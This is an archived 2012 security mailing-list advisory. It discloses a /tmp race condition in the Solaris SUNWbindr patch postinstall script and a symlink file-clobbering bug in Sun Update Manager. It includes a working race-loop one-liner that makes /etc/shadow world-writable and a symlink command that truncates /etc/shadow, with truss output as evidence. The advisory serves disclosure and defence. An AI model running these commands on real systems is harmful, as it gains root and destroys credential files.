full-disclosure - file clobbering vulnerability in Solaris update manager & local root with SUNWbindr install.

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Date: Fri, 20 Jul 2012 23:40:45 +0000 (GMT)
From: larry Cashdollar <larry0@...com>
To: bugtraq@...urityfocus.com
Cc: full-disclosure@...ts.grok.org.uk
Subject: file clobbering vulnerability in Solaris update
 manager & local root with SUNWbindr install.

+= Local Root

If the system administrator is updating the system using update manager or smpatch (multi user mode) a race condition exists with the postinstall script for SUNWbindr that may lead to arbitrary code execution as root if the race is won.

vulnerable code in:

  ./patches/119784-22/SUNWbindr/install/pkg_postinstall: UPGRADE=${TMP}/BIND_UPGRADE
  ./patches/119784-22/SUNWbindr/install/postinstall: UPGRADE=${TMP}/BIND_UPGRADE

vulnerable code:

  UPGRADE=${TMP}/BIND_UPGRADE
  rm -f $UPGRADE

  (If I create the file first between these two steps, I should have ownership before it is over written and inject malicious code to get root.)

  cat >> $UPGRADE <<-\_UPDATE_START_METHOD
  oset=$@ # Remember current options if any.
  svc="svc:network/dns/server"
  if [ -z "$TMP" ]; then
TMP="/tmp"
  fi

If the following is run:

while (true) ; do touch /tmp/BIND_UPGRADE ;echo "chmod 777 /etc/shadow" > /tmp/BIND_UPGRADE; done

during patch installation you can get /etc/shadow world writeable.

+= File Clobbering Vulnerability

Noticed this during routine patching.

/tmp file clobbering vulnerability in Sun Update manager.
7/15/2012

if Solaris Update Manager is run by root and a malicious user creates a symlink in /tmp

larry@...aragua:/tmp$ ln -s /etc/shadow  com.sun.swup.client.LOCK

larry@...aragua:/tmp$ ls -l /etc/shadow
-r--------   1 root     sys          0 Jul 19 18:49 /etc/shadow

SunOS n1caragua 5.10 Generic_147441-19 i86pc i386 i86pc
larry@...aragua:~$ 

truss output:

4841/2:         stat64("/tmp/com.sun.swup.client.LOCK", 0xD03FEAB0) = 0
4841/2:         open64("/tmp/com.sun.swup.client.LOCK", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 5

Larry W. Cashdollar
http://vapid.dhs.org    @lcashdol

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